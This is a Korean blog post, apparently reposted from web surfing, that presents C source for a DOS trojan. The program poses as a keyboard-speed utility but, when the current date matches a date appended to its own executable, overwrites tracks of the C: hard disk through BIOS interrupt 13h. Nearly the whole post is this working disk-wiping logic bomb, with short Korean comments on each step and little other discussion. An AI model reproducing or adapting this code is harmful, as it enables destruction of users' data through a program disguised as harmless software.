한나라에 언어를 배울때 욕부터 배운다고 했던가??ㅎ
웹서핑 중에 약간은 무시무시한 바이러스에 관한 소스를 발견했다.
아직까진 눈에들어오는 소스코드는 별루 없지만 언젠가 홈피에 모아둔 소스들이 눈에 쏘~옥 들어올 그날이
있으리라 생각된다.
다음은 하드 디스크 파괴 트로이 목마 바이러스 C 소스이다.
다음 배치로 구현한 바이러스의 트로이 목마형 구조와 비슷하단다.
단지 차이점은 개발 언어와 약간의 침투방법의 차이겠죠.
다음 바이러스 프로그램은 하드디스크를 빠르게 합니다.
그러나 지정한 날짜,조건이 맞으면 하드 디스크를 파괴해 버립니다.
C 로 트로이목마 바이러스를 구현할 수 있다는 정도로 알아 두십시요.
*바이러스 메인 부분입니다
// Main Source Fast.C
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>
#define LASTHEAD 1
#define LASTTRACK 79
#define LASTSECTOR 15
#define BYTESPERSECTOR 512
#define driveToRead 0x80 // C: drive (파괴대상 드라이브 지정)
char diskBuffer[BYTESPERSECTOR * LASTSECTOR];
typedef struct{ // 날짜의 구조체
int Year;
int Month;
int Day;
} Time_Type;
// 키보드 빠르게 하는 루틴 (트로이 목마의 외형 부분)
void Fast_Key( void )
{
outp( 0x60, 0xF3 );
delay( 100 );
outp( 0x60, 0x00 );
delay( 100 );
}
// 하드디스크 섹터 쓰기
unsigned char WriteHardSector( unsigned char drive,
unsigned char sectorsToWrite,
unsigned char head,
unsigned int cylinder,
unsigned char sector,
unsigned char far *bufferPtr ){
union REGS reg;
struct SREGS sreg;
reg.h.ah = 3;
reg.h.al = sectorsToWrite;
reg.x.bx = FP_OFF(bufferPtr);
reg.h.dh = head;
reg.h.dl = drive;
reg.h.ch = cylinder;
reg.h.cl = (cylinder >> 8);
reg.h.cl <<= 6;
reg.h.cl |= (sector & 63);
sreg.es = FP_SEG(bufferPtr);
int86x(0x13,®,®,&sreg);
return(reg.h.ah);
}
void main( void ){
unsigned char currentHead,currentTrack,currentSector;
struct date cur_d; // 날짜
FILE *Read_Exe; // 화일 포인터
Time_Type Clack_Time; // 파괴 대상 하드디스크 날짜의 구조체
int Data_Size = 0; // 날짜를 읽기위한 사이즈
getdate(&cur_d); // 현재 날짜 알아내기
Read_Exe = fopen("fast.exe","rb");
//바이러스 개시 날짜를 알아내기 위해 실행화일을 OPEN
//Open시 fast.exe 화일이 현디렉토리에 있어야함
Data_Size = sizeof(Time_Type);
fseek(Read_Exe,-Data_Size,SEEK_END); // 실행 화일 끝에서 Data_Size만큼
// 뒤로 포인트를 옮김
fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
// 데이타 읽기
if( ( Clack_Time.Year == cur_d.da_year) &&
( Clack_Time.Month == cur_d.da_mon ) &&
( Clack_Time.Day == cur_d.da_day )){
// 날짜가 실행화일 끝에 붙은 날짜와 일치 하면 하드 파괴
for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
//실제 하드디스크 파괴 부분
//엉뚱한 데이타를 마구 써버림
WriteHardSector(driveToRead,LASTSECTOR,currentHead,
currentTrack,1,diskBuffer);
}
}
textattr( WHITE | BLUE << 4);
cprintf("[ Cracking Ok ! ]");
textattr( WHITE | BLACK << 4);
cprintf("n");
}
// 날짜가 맞지 않을 경우 그냥 키보드 속도를 빠르게 한다
else { Fast_Key();
textattr( WHITE | BLUE << 4);
cprintf("Fast_key Installed !");
textattr( WHITE | BLACK << 4);
cprintf("n");
}
}
Designed by sketchbooks.co.kr / sketchbook5 board skin
Sketchbook5, 스케치북5
Sketchbook5, 스케치북5
Sketchbook5, 스케치북5
Sketchbook5, 스케치북5